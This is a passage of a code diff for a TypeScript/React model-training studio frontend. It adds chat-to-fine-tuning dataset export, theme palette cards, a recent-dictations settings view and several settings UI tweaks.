+    binary += String.fromCharCode(...bytes.subarray(i, i + CHUNK));
+  }
+  return btoa(binary);
+}
+
+/** Builds the JSONL, uploads it as a local recipe seed, and saves a new
+ *  recipe whose seed block points at the file. Returns the recipe id, or
+ *  null when there is nothing to export. */
+export async function createFineTuneRecipeFromChats(
+  format: FineTuneFormat = "openai",
+): Promise<string | null> {
+  const { lines, conversations } = await buildFineTuneJsonl(format);
+  if (conversations === 0) {
+    toast.info("No chats with a user and assistant exchange to export.");
+    return null;
+  }
+
+  const dateLabel = new Date().toISOString().slice(0, 10);
+  const suffix = format === "openai" ? "" : `-${format}`;
+  const filename = `chat-finetune${suffix}-${dateLabel}.jsonl`;
+  const inspected = await inspectSeedUpload({
+    filename,
+    // biome-ignore lint/style/useNamingConvention: api schema
+    content_base64: base64FromString(lines.join("\n")),
+    // biome-ignore lint/style/useNamingConvention: api schema
+    preview_size: 10,
+  });
+
+  const payload = createEmptyRecipePayload();
+  payload.recipe.seed_config = {
+    source: {
+      // biome-ignore lint/style/useNamingConvention: api schema
+      seed_type: "local",
+      path: inspected.resolved_path,
+    },
+    // biome-ignore lint/style/useNamingConvention: api schema
+    sampling_strategy: "ordered",
+    // biome-ignore lint/style/useNamingConvention: api schema
+    selection_strategy: null,
+  };
+  payload.ui.nodes = [{ id: "seed", x: 0, y: 0, width: 400 }];
+  payload.ui.seed_source_type = "local";
+  payload.ui.seed_columns = inspected.columns;
+  payload.ui.seed_preview_rows = inspected.preview_rows ?? [];
+  payload.ui.local_file_name = filename;
+
+  const record = await saveRecipe({
+    name: `Chat fine-tuning ${dateLabel}`,
+    payload,
+  });
+  return record.id;
+}
+
+/** Builds the JSONL, uploads it as a training dataset, and selects it in the
+ *  Train tab's config store so the Train page opens with it loaded. Returns
+ *  false when there is nothing to export. */
+export async function loadFineTuneDatasetInTrainTab(
+  format: FineTuneFormat = "openai",
+): Promise<boolean> {
+  const { lines, conversations } = await buildFineTuneJsonl(format);
+  if (conversations === 0) {
+    toast.info("No chats with a user and assistant exchange to export.");
+    return false;
+  }
+
+  const dateLabel = new Date().toISOString().slice(0, 10);
+  const suffix = format === "openai" ? "" : `-${format}`;
+  const file = new File(
+    [lines.join("\n")],
+    `chat-finetune${suffix}-${dateLabel}.jsonl`,
+    { type: "application/x-ndjson" },
+  );
+  const uploaded = await uploadTrainingDataset(file);
+  // Selecting also kicks off the dataset format check, so the Train tab
+  // shows the detected format as soon as it mounts.
+  useTrainingConfigStore.getState().selectLocalDataset(uploaded.stored_path);
+  return true;
+}
diff --git a/studio/frontend/src/features/settings/components/key-reveal-card.tsx b/studio/frontend/src/features/settings/components/key-reveal-card.tsx
index aa4f67348b..80c93d7770 100644
--- a/studio/frontend/src/features/settings/components/key-reveal-card.tsx
+++ b/studio/frontend/src/features/settings/components/key-reveal-card.tsx
@@ -43,7 +43,7 @@ export function KeyRevealCard({
         onClick={handleCopy}
         className={cn(
           "flex w-full items-center justify-between gap-3 rounded-md border border-border bg-muted/40 px-3 py-2.5 font-mono text-sm transition-colors hover:bg-muted/60",
-          "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
+          "focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
           copied && "border-emerald-500/40 bg-emerald-500/10",
         )}
         aria-label={
@@ -61,14 +61,14 @@ export function KeyRevealCard({
         />
       </button>
       <div className="flex items-center justify-between gap-3 pt-0.5">
-        <p className="text-[11px] text-muted-foreground">
+        <p className="text-ui-11 text-muted-foreground">
           {t("settings.apiKeys.copyNow")}
         </p>
         <Button
           type="button"
           size="sm"
           onClick={onDone}
-          className="focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background"
+          className="focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           {t("common.done")}
         </Button>
diff --git a/studio/frontend/src/features/settings/components/language-select.tsx b/studio/frontend/src/features/settings/components/language-select.tsx
index 9d30e06147..1f388d6f2c 100644
--- a/studio/frontend/src/features/settings/components/language-select.tsx
+++ b/studio/frontend/src/features/settings/components/language-select.tsx
@@ -9,22 +9,23 @@ import {
   SelectValue,
 } from "@/components/ui/select";
 import {
+  AUTO_LOCALE,
   LOCALES,
-  isSupportedLocale,
+  isLocalePreference,
   setLocale,
   useT,
-  useLocale,
+  useLocalePreference,
 } from "@/i18n";
 
 export function LanguageSelect() {
   const t = useT();
-  const locale = useLocale();
+  const preference = useLocalePreference();
 
   return (
     <Select
-      value={locale}
+      value={preference}
       onValueChange={(value) => {
-        if (isSupportedLocale(value)) setLocale(value);
+        if (isLocalePreference(value)) setLocale(value);
       }}
     >
       <SelectTrigger
@@ -34,7 +35,14 @@ export function LanguageSelect() {
       >
         <SelectValue />
       </SelectTrigger>
-      <SelectContent>
+      <SelectContent
+        style={{
+          maxHeight: "min(18rem, var(--radix-select-content-available-height))",
+        }}
+      >
+        <SelectItem value={AUTO_LOCALE}>
+          {t("settings.appearance.language.autoDetect")}
+        </SelectItem>
         {Object.entries(LOCALES).map(([value, metadata]) => (
           <SelectItem key={value} value={value}>
             {metadata.nativeLabel}
diff --git a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
index 581c78ebd1..aa6857cff5 100644
--- a/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
+++ b/studio/frontend/src/features/settings/components/model-auto-switch-section.tsx
@@ -14,6 +14,9 @@ import {
 import { SettingsRow } from "./settings-row";
 import { SettingsSection } from "./settings-section";
 
+// Mirrors MIN_AUTO_UNLOAD_IDLE_SECONDS in the backend settings store.
+const MIN_IDLE_SECONDS = 60;
+
 export function ModelAutoSwitchSection() {
   const t = useT();
   const [settings, setSettings] = useState<OpenAIAutoSwitchSettings | null>(
@@ -45,24 +48,32 @@ export function ModelAutoSwitchSection() {
     };
   }, [t]);
 
-  // Parse the idle-seconds draft to a non-negative integer; empty/invalid -> null.
+  // Parse the idle-seconds draft: 0 (off) or >= MIN_IDLE_SECONDS; else null.
   const parseIdleSeconds = (): number | null => {
     if (!draftIdleSeconds.trim()) {
       return null;
     }
     const parsed = Number(draftIdleSeconds);
-    return Number.isInteger(parsed) && parsed >= 0 ? parsed : null;
+    if (!Number.isInteger(parsed)) {
+      return null;
+    }
+    return parsed === 0 || parsed >= MIN_IDLE_SECONDS ? parsed : null;
   };
 
   const persist = async (
     enabled: boolean,
-    idleSeconds: number,
+    idleSeconds: number | undefined,
     syncDraft = true,
+    keepKv?: boolean,
   ) => {
     setIsSaving(true);
     setError(null);
     try {
-      const saved = await updateOpenAIAutoSwitchSettings(enabled, idleSeconds);
+      const saved = await updateOpenAIAutoSwitchSettings(
+        enabled,
+        idleSeconds,
+        keepKv,
+      );
       setSettings(saved);
       if (syncDraft) {
         setDraftIdleSeconds(String(saved.autoUnloadIdleSeconds));
@@ -101,6 +112,11 @@ export function ModelAutoSwitchSection() {
     void persist(true, idleSeconds);
   };
 
+  const handleKeepKvToggle = (keepKv: boolean) => {
+    if (!settings) return;
+    void persist(settings.enabled, undefined, false, keepKv);
+  };
+
   return (
     <SettingsSection title={t("settings.general.modelAutoSwitch.sectionTitle")}>
       <SettingsRow
@@ -121,7 +137,7 @@ export function ModelAutoSwitchSection() {
       >
         <div className="flex flex-col items-end gap-1">
           <div className="flex items-center gap-2">
-            <div className="relative w-28">
+            <div className="flex items-center gap-1.5">
               <Input
                 type="number"
                 min={0}
@@ -130,9 +146,9 @@ export function ModelAutoSwitchSection() {
                 aria-label="Idle auto-unload seconds"
                 disabled={!settings?.enabled || isSaving}
                 onChange={(event) => setDraftIdleSeconds(event.target.value)}
-                className="h-8 w-full pr-8"
+                className="h-8 w-24"
               />
-              <span className="pointer-events-none absolute inset-y-0 right-3 flex items-center text-xs font-medium text-muted-foreground">
+              <span className="text-xs font-medium text-muted-foreground">
                 s
               </span>
             </div>
@@ -160,6 +176,18 @@ export function ModelAutoSwitchSection() {
           ) : null}
         </div>
       </SettingsRow>
+      {settings?.idleUnloadActive ? (
+        <SettingsRow
+          label={t("settings.general.modelAutoSwitch.keepKv")}
+          description={t("settings.general.modelAutoSwitch.keepKvDescription")}
+        >
+          <Switch
+            checked={settings.autoUnloadKeepKv}
+            disabled={isSaving}
+            onCheckedChange={handleKeepKvToggle}
+          />
+        </SettingsRow>
+      ) : null}
     </SettingsSection>
   );
 }
diff --git a/studio/frontend/src/features/settings/components/palette-cards.tsx b/studio/frontend/src/features/settings/components/palette-cards.tsx
new file mode 100644
index 0000000000..e6b920574b
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/palette-cards.tsx
@@ -0,0 +1,147 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { type TranslationKey, useT } from "@/i18n";
+import {
+  type Palette,
+  type ResolvedTheme,
+  usePalette,
+  useTheme,
+} from "../stores/theme-store";
+
+type PreviewColors = {
+  bg: string;
+  sidebar: string;
+  accent: string;
+  text: string;
+  border: string;
+};
+
+// Representative swatches per palette × resolved mode. Hardcoded (rather than
+// reading the live CSS variables) so every card previews its own palette while
+// only one palette is active on <html>. Sidebar tones are slightly exaggerated
+// so the two surfaces stay distinguishable at thumbnail size.
+const PREVIEWS: Record<Palette, Record<ResolvedTheme, PreviewColors>> = {
+  standard: {
+    light: {
+      bg: "#fefefd",
+      sidebar: "#f1f1ef",
+      accent: "#17b88b",
+      text: "#444444",
+      border: "#e4e4e0",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#17b88b",
+      text: "#b5b5b5",
+      border: "#303030",
+    },
+  },
+  classic: {
+    light: {
+      bg: "#ffffff",
+      sidebar: "#ededed",
+      accent: "#339cff",
+      text: "#4b4d50",
+      border: "#e6e6e6",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#4dabff",
+      text: "#b5b5b5",
+      border: "#303030",
+    },
+  },
+  minimal: {
+    light: {
+      bg: "#ffffff",
+      sidebar: "#f2f2f2",
+      accent: "#171717",
+      text: "#555555",
+      border: "#e2e2e2",
+    },
+    dark: {
+      bg: "#181818",
+      sidebar: "#262626",
+      accent: "#ededed",
+      text: "#a8a8a8",
+      border: "#303030",
+    },
+  },
+};
+
+const OPTIONS: {
+  value: Palette;
+  labelKey: TranslationKey;
+}[] = [
+  { value: "standard", labelKey: "settings.appearance.palette.standard" },
+  { value: "classic", labelKey: "settings.appearance.palette.classic" },
+  { value: "minimal", labelKey: "settings.appearance.palette.minimal" },
+];
+
+function PalettePreview({ colors }: { colors: PreviewColors }) {
+  return (
+    <div
+      className="h-16 w-full overflow-hidden rounded-lg border"
+      style={{ backgroundColor: colors.bg, borderColor: colors.border }}
+      aria-hidden="true"
+    >
+      <div className="flex h-full">
+        <div
+          className="h-full w-1/4"
+          style={{ backgroundColor: colors.sidebar }}
+        />
+        <div className="flex flex-1 flex-col justify-center gap-1.5 px-2.5">
+          <span
+            className="h-1.5 w-3/4 rounded-full"
+            style={{ backgroundColor: colors.text }}
+          />
+          <span
+            className="h-1.5 w-1/2 rounded-full opacity-60"
+            style={{ backgroundColor: colors.text }}
+          />
+          <span
+            className="h-2.5 w-8 rounded-full"
+            style={{ backgroundColor: colors.accent }}
+          />
+        </div>
+      </div>
+    </div>
+  );
+}
+
+export function PaletteCards() {
+  const t = useT();
+  const { resolved } = useTheme();
+  const { palette, setPalette } = usePalette();
+  return (
+    <div className="grid w-full grid-cols-1 gap-3 sm:grid-cols-3">
+      {OPTIONS.map((opt) => {
+        const active = palette === opt.value;
+        return (
+          <button
+            key={opt.value}
+            type="button"
+            onClick={() => setPalette(opt.value)}
+            aria-pressed={active}
+            data-palette-value={opt.value}
+            // The active ring is CSS-driven off html[data-palette] (see
+            // .palette-card in index.css) so it moves in the same style
+            // pass that swaps the tokens; keying it off React state leaves
+            // the ring on the old card until the app finishes re-rendering.
+            className="palette-card flex flex-col gap-2 rounded-xl border border-border p-2.5 text-left transition-colors focus-visible:border-ring focus-visible:outline-none"
+          >
+            <PalettePreview colors={PREVIEWS[opt.value][resolved]} />
+            <div className="flex items-center gap-2 px-0.5">
+              <span className="text-sm font-medium text-foreground">
+                {t(opt.labelKey)}
+              </span>
+            </div>
+          </button>
+        );
+      })}
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/recent-dictations-view.tsx b/studio/frontend/src/features/settings/components/recent-dictations-view.tsx
new file mode 100644
index 0000000000..f4c58818bd
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/recent-dictations-view.tsx
@@ -0,0 +1,515 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  AlertDialog,
+  AlertDialogAction,
+  AlertDialogCancel,
+  AlertDialogContent,
+  AlertDialogDescription,
+  AlertDialogFooter,
+  AlertDialogHeader,
+  AlertDialogTitle,
+} from "@/components/ui/alert-dialog";
+import { Button } from "@/components/ui/button";
+import {
+  InputGroup,
+  InputGroupAddon,
+  InputGroupInput,
+} from "@/components/ui/input-group";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import {
+  deleteChatItem,
+  useChatRuntimeStore,
+  type SidebarItem,
+} from "@/features/chat";
+import { useT } from "@/i18n";
+import { copyToClipboard } from "@/lib/copy-to-clipboard";
+import { toast } from "@/lib/toast";
+import {
+  ArrowLeft01Icon,
+  Copy01Icon,
+  Delete02Icon,
+  Message01Icon,
+  Search01Icon,
+  ViewIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { useNavigate } from "@tanstack/react-router";
+import { useMemo, useState } from "react";
+import {
+  type RecentDictation,
+  useVoiceSettingsStore,
+} from "../stores/voice-settings-store";
+import { useSettingsDialogStore } from "../stores/settings-dialog-store";
+
+/** Dictations shown per page; "Show more" reveals the next page. */
+const PAGE_SIZE = 20;
+
+type PendingDelete =
+  | { kind: "one"; dictation: RecentDictation }
+  | { kind: "all" }
+  | null;
+
+type SortOrder = "newest" | "oldest" | "az";
+
+function formatDictationDate(ms: number): string {
+  return new Date(ms).toLocaleString(undefined, {
+    year: "numeric",
+    month: "short",
+    day: "numeric",
+    hour: "numeric",
+    minute: "2-digit",
+  });
+}
+
+export function RecentDictationsView({
+  selectedId,
+  onSelect,
+  onBack,
+}: {
+  selectedId: string | null;
+  onSelect: (id: string | null) => void;
+  onBack: () => void;
+}) {
+  const t = useT();
+  const recentDictations = useVoiceSettingsStore((s) => s.recentDictations);
+  const removeRecentDictation = useVoiceSettingsStore(
+    (s) => s.removeRecentDictation,
+  );
+  const clearRecentDictations = useVoiceSettingsStore(
+    (s) => s.clearRecentDictations,
+  );
+  const [pendingDelete, setPendingDelete] = useState<PendingDelete>(null);
+  const [search, setSearch] = useState("");
+  const [sortOrder, setSortOrder] = useState<SortOrder>("newest");
+  // Pagination is keyed to the search/sort inputs so changing either restarts
+  // from the first page without an effect.
+  const pageKey = `${sortOrder}::${search}`;
+  const [page, setPage] = useState({ key: pageKey, count: PAGE_SIZE });
+  const visibleCount = page.key === pageKey ? page.count : PAGE_SIZE;
+  const navigate = useNavigate();
+  const closeSettings = useSettingsDialogStore((s) => s.closeDialog);
+  const selected =
+    recentDictations.find((dictation) => dictation.id === selectedId) ?? null;
+
+  function openChat(chatId: string) {
+    closeSettings();
+    void navigate({ to: "/chat", search: { thread: chatId } });
+  }
+
+  const visible = useMemo(() => {
+    const query = search.trim().toLowerCase();
+    const filtered = query
+      ? recentDictations.filter((d) => d.text.toLowerCase().includes(query))
+      : recentDictations;
+    const sorted = [...filtered];
+    if (sortOrder === "oldest") {
+      sorted.sort((a, b) => a.at - b.at);
+    } else if (sortOrder === "az") {
+      sorted.sort((a, b) => a.text.localeCompare(b.text));
+    } else {
+      sorted.sort((a, b) => b.at - a.at);
+    }
+    return sorted;
+  }, [recentDictations, search, sortOrder]);
+
+  async function handleCopy(text: string) {
+    if (await copyToClipboard(text)) {
+      toast.success(t("settings.voice.recents.copied"));
+    } else {
+      toast.error(t("settings.voice.recents.copyFailed"));
+    }
+  }
+
+  function confirmDelete() {
+    try {
+      if (pendingDelete?.kind === "one") {
+        removeRecentDictation(pendingDelete.dictation.id);
+        if (pendingDelete.dictation.id === selectedId) {
+          onSelect(null);
+        }
+      } else if (pendingDelete?.kind === "all") {
+        clearRecentDictations();
+        onSelect(null);
+      }
+    } finally {
+      setPendingDelete(null);
+    }
+  }
+
+  // Delete a linked dictation together with the chat it was used in.
+  async function confirmDeleteWithChat() {
+    if (pendingDelete?.kind !== "one") {
+      return;
+    }
+    const dictation = pendingDelete.dictation;
+    setPendingDelete(null);
+    if (dictation.chatId) {
+      const item: SidebarItem = {
+        type: "single",
+        id: dictation.chatId,
+        title: "",
+        createdAt: 0,
+        updatedAt: 0,
+      };
+      try {
+        await deleteChatItem(
+          item,
+          useChatRuntimeStore.getState().activeThreadId ?? undefined,
+          () => {
+            // The deleted chat was open; leave the user on a fresh chat.
+            void navigate({
+              to: "/chat",
+              search: { new: crypto.randomUUID() },
+            });
+          },
+        );
+      } catch (error) {
+        toast.error(t("settings.voice.recents.deleteWithChatFailed"), {
+          description: error instanceof Error ? error.message : undefined,
+        });
+        return;
+      }
+    }
+    removeRecentDictation(dictation.id);
+    if (dictation.id === selectedId) {
+      onSelect(null);
+    }
+  }
+
+  return (
+    <div className="flex flex-col gap-6">
+      <header className="flex items-center gap-2">
+        <button
+          type="button"
+          onClick={() => (selected ? onSelect(null) : onBack())}
+          aria-label={
+            selected
+              ? t("settings.voice.recents.backToRecents")
+              : t("settings.voice.recents.backToVoice")
+          }
+          className="inline-flex size-7 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+        >
+          <HugeiconsIcon icon={ArrowLeft01Icon} className="size-4" />
+        </button>
+        <h1 className="font-heading text-xl font-semibold">
+          {t("settings.voice.title")}
+        </h1>
+      </header>
+
+      <div className="flex flex-col gap-1">
+        <h2 className="text-sm font-semibold">
+          {selected
+            ? t("settings.voice.recents.detailTitle")
+            : t("settings.voice.recents.sectionTitle")}
+        </h2>
+        <p className="text-xs text-muted-foreground">
+          {selected
+            ? formatDictationDate(selected.at)
+            : t("settings.voice.recents.pageDescription")}
+        </p>
+      </div>
+
+      {selected ? (
+        <div className="flex min-h-0 flex-col gap-4">
+          <article className="rounded-lg border border-border/60 bg-muted/20 p-4">
+            <p className="whitespace-pre-wrap break-words text-sm leading-relaxed text-foreground select-text">
+              {selected.text}
+            </p>
+          </article>
+          <div className="flex justify-end gap-2">
+            {selected.chatId ? (
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={() => openChat(selected.chatId as string)}
+              >
+                <HugeiconsIcon
+                  icon={Message01Icon}
+                  className="mr-1.5 size-3.5"
+                />
+                {t("settings.voice.recents.openChat")}
+              </Button>
+            ) : null}
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={async () => {
+                await handleCopy(selected.text);
+              }}
+            >
+              <HugeiconsIcon icon={Copy01Icon} className="mr-1.5 size-3.5" />
+              {t("settings.voice.recents.copy")}
+            </Button>
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={() =>
+                setPendingDelete({ kind: "one", dictation: selected })
+              }
+              className="text-destructive hover:border-destructive/60 hover:text-destructive"
+            >
+              <HugeiconsIcon icon={Delete02Icon} className="mr-1.5 size-3.5" />
+              {t("settings.voice.recents.delete")}
+            </Button>
+          </div>
+        </div>
+      ) : recentDictations.length === 0 ? (
+        <p className="py-8 text-center text-sm text-muted-foreground">
+          {t("settings.voice.recents.empty")}
+        </p>
+      ) : (
+        <div className="flex flex-col gap-3">
+          <div className="flex items-center gap-2">
+            <InputGroup className="h-8 flex-1">
+              <InputGroupAddon align="inline-start">
+                <HugeiconsIcon
+                  icon={Search01Icon}
+                  strokeWidth={2}
+                  className="size-3.5 text-muted-foreground"
+                />
+              </InputGroupAddon>
+              <InputGroupInput
+                value={search}
+                onChange={(e) => setSearch(e.target.value)}
+                placeholder={t("settings.voice.recents.searchPlaceholder")}
+                aria-label={t("settings.voice.recents.searchPlaceholder")}
+                className="text-sm"
+              />
+            </InputGroup>
+            <Select
+              value={sortOrder}
+              onValueChange={(value) => setSortOrder(value as SortOrder)}
+            >
+              <SelectTrigger
+                size="sm"
+                className="w-36 shrink-0"
+                aria-label={t("settings.voice.recents.sortLabel")}
+              >
+                <SelectValue />
+              </SelectTrigger>
+              <SelectContent>
+                <SelectItem value="newest">
+                  {t("settings.voice.recents.sortNewest")}
+                </SelectItem>
+                <SelectItem value="oldest">
+                  {t("settings.voice.recents.sortOldest")}
+                </SelectItem>
+                <SelectItem value="az">
+                  {t("settings.voice.recents.sortAlpha")}
+                </SelectItem>
+              </SelectContent>
+            </Select>
+            <Button
+              variant="outline"
+              size="sm"
+              onClick={() => setPendingDelete({ kind: "all" })}
+              className="shrink-0 text-destructive hover:border-destructive/60 hover:text-destructive"
+            >
+              <HugeiconsIcon icon={Delete02Icon} className="mr-1.5 size-3.5" />
+              {t("settings.voice.recents.clear")}
+            </Button>
+          </div>
+
+          {visible.length === 0 ? (
+            <p className="py-8 text-center text-sm text-muted-foreground">
+              {t("settings.voice.recents.noMatches")}
+            </p>
+          ) : (
+            <div className="flex flex-col">
+              <div className="flex items-center gap-4 border-b border-border/60 px-1 pb-2 text-xs font-semibold text-foreground">
+                <span className="min-w-0 flex-1">
+                  {t("settings.voice.recents.dictationColumn")}
+                </span>
+                <span className="hidden w-40 shrink-0 items-center gap-1.5 sm:flex">
+                  {/* Spacer matching the row's chat-link icon slot so the
+                      header starts exactly where the dates start. */}
+                  <span className="size-3.5 shrink-0" />
+                  {t("settings.voice.recents.dateColumn")}
+                </span>
+                <span className="w-24 shrink-0" />
+              </div>
+              {visible.slice(0, visibleCount).map((dictation) => (
+                <div
+                  key={dictation.id}
+                  className="group flex items-stretch gap-2 border-b border-border/40 last:border-0"
+                >
+                  <button
+                    type="button"
+                    onClick={() =>
+                      dictation.chatId
+                        ? openChat(dictation.chatId)
+                        : onSelect(dictation.id)
+                    }
+                    aria-label={
+                      dictation.chatId
+                        ? t("settings.voice.recents.openChat")
+                        : t("settings.voice.recents.view")
+                    }
+                    className="flex min-w-0 flex-1 items-start gap-4 rounded-md px-1 py-3 text-left transition-colors hover:bg-muted/50 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  >
+                    <span className="min-w-0 flex-1">
+                      <span className="line-clamp-3 whitespace-pre-wrap break-words text-sm text-foreground">
+                        {dictation.text}
+                      </span>
+                      <span className="mt-1 flex items-center gap-1.5 text-xs text-muted-foreground sm:hidden">
+                        {dictation.chatId ? (
+                          <HugeiconsIcon
+                            icon={Message01Icon}
+                            className="size-3"
+                          />
+                        ) : null}
+                        {formatDictationDate(dictation.at)}
+                      </span>
+                    </span>
+                    <span className="hidden w-40 shrink-0 items-center gap-1.5 text-left text-xs text-muted-foreground tabular-nums sm:flex">
+                      {/* Fixed icon slot keeps every date starting at the
+                          same column whether or not a chat is linked. */}
+                      <span className="flex size-3.5 shrink-0 items-center justify-center">
+                        {dictation.chatId ? (
+                          <HugeiconsIcon
+                            icon={Message01Icon}
+                            className="size-3.5"
+                            aria-label={t("settings.voice.recents.openChat")}
+                          />
+                        ) : null}
+                      </span>
+                      <span className="whitespace-nowrap">
+                        {formatDictationDate(dictation.at)}
+                      </span>
+                    </span>
+                  </button>
+                  <span className="flex w-24 shrink-0 items-center justify-end gap-1">
+                    {dictation.chatId ? (
+                      <button
+                        type="button"
+                        onClick={() => onSelect(dictation.id)}
+                        aria-label={t("settings.voice.recents.view")}
+                        title={t("settings.voice.recents.view")}
+                        className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      >
+                        <HugeiconsIcon
+                          icon={ViewIcon}
+                          strokeWidth={1.75}
+                          className="size-4"
+                        />
+                      </button>
+                    ) : null}
+                    <button
+                      type="button"
+                      onClick={async () => {
+                        await handleCopy(dictation.text);
+                      }}
+                      aria-label={t("settings.voice.recents.copy")}
+                      title={t("settings.voice.recents.copy")}
+                      className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    >
+                      <HugeiconsIcon
+                        icon={Copy01Icon}
+                        strokeWidth={1.75}
+                        className="size-4"
+                      />
+                    </button>
+                    <button
+                      type="button"
+                      onClick={() =>
+                        setPendingDelete({ kind: "one", dictation })
+                      }
+                      aria-label={t("settings.voice.recents.delete")}
+                      title={t("settings.voice.recents.delete")}
+                      className="inline-flex size-7 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-destructive/10 hover:text-destructive focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                    >
+                      <HugeiconsIcon
+                        icon={Delete02Icon}
+                        strokeWidth={1.75}
+                        className="size-4"
+                      />
+                    </button>
+                  </span>
+                </div>
+              ))}
+            </div>
+          )}
+
+          {visible.length > visibleCount ? (
+            <div className="flex justify-center pt-1">
+              <Button
+                variant="outline"
+                size="sm"
+                onClick={() =>
+                  setPage({ key: pageKey, count: visibleCount + PAGE_SIZE })
+                }
+              >
+                {t("settings.voice.recents.showMore", {
+                  count: visible.length - visibleCount,
+                })}
+              </Button>
+            </div>
+          ) : null}
+        </div>
+      )}
+
+      <AlertDialog
+        open={pendingDelete !== null}
+        onOpenChange={(open) => {
+          if (!open) {
+            setPendingDelete(null);
+          }
+        }}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>
+              {pendingDelete?.kind === "all"
+                ? t("settings.voice.recents.clearTitle")
+                : t("settings.voice.recents.deleteTitle")}
+            </AlertDialogTitle>
+            <AlertDialogDescription>
+              {pendingDelete?.kind === "all"
+                ? t("settings.voice.recents.clearDescription")
+                : pendingDelete?.kind === "one" &&
+                    pendingDelete.dictation.chatId
+                  ? t("settings.voice.recents.deleteLinkedDescription")
+                  : t("settings.voice.recents.deleteDescription")}
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>{t("common.cancel")}</AlertDialogCancel>
+            {pendingDelete?.kind === "one" && pendingDelete.dictation.chatId ? (
+              <AlertDialogAction
+                variant="outline"
+                className="text-destructive hover:border-destructive/60 hover:text-destructive"
+                onClick={(event) => {
+                  // Close only through state so the dismissal can't race a
+                  // click on whatever ends up under the pointer.
+                  event.preventDefault();
+                  void confirmDeleteWithChat();
+                }}
+              >
+                {t("settings.voice.recents.deleteWithChat")}
+              </AlertDialogAction>
+            ) : null}
+            <AlertDialogAction
+              variant="destructive"
+              onClick={(event) => {
+                event.preventDefault();
+                confirmDelete();
+              }}
+            >
+              {pendingDelete?.kind === "all"
+                ? t("settings.voice.recents.clearConfirm")
+                : t("common.delete")}
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/settings/components/settings-row.tsx b/studio/frontend/src/features/settings/components/settings-row.tsx
index 3c049d2f99..3cf9822811 100644
--- a/studio/frontend/src/features/settings/components/settings-row.tsx
+++ b/studio/frontend/src/features/settings/components/settings-row.tsx
@@ -24,6 +24,7 @@ export function SettingsRow({
 }) {
   return (
     <div
+      data-settings-label={label}
       className={cn(
         "flex justify-between gap-6 py-3",
         alignTop ? "items-start" : "items-center",
diff --git a/studio/frontend/src/features/settings/components/settings-section.tsx b/studio/frontend/src/features/settings/components/settings-section.tsx
index 8b4521c9f4..1260ce70d3 100644
--- a/studio/frontend/src/features/settings/components/settings-section.tsx
+++ b/studio/frontend/src/features/settings/components/settings-section.tsx
@@ -13,7 +13,7 @@ export function SettingsSection({
   children: ReactNode;
 }) {
   return (
-    <section className="flex flex-col">
+    <section data-settings-label={title} className="flex flex-col">
       <div className="mb-1 flex flex-col gap-0.5">
         <h2 className="text-base font-semibold font-heading text-foreground">
           {title}
@@ -24,7 +24,14 @@ export function SettingsSection({
           </p>
         ) : null}
       </div>
-      <div className="flex flex-col divide-y divide-border/60">{children}</div>
+      {/* No per-row dividers: rows inside a titled section are related.
+          SettingsGroupDivider separates unrelated clusters. */}
+      <div className="flex flex-col">{children}</div>
     </section>
   );
 }
+
+/** Divider between unrelated clusters of rows inside one section. */
+export function SettingsGroupDivider() {
+  return <div className="my-1 border-t border-border/60" />;
+}
diff --git a/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx b/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx
new file mode 100644
index 0000000000..bd8ca69b66
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/sidebar-menu-customizer.tsx
@@ -0,0 +1,148 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import {
+  CloudIcon,
+  CpuIcon,
+  CursorInfo02Icon,
+  DragDropVerticalIcon,
+  Globe02Icon,
+  HelpCircleIcon,
+  Logout05Icon,
+  Message01Icon,
+  Moon02Icon,
+  PaintBrush02Icon,
+  PowerIcon,
+  Settings02Icon,
+  UserIcon,
+} from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
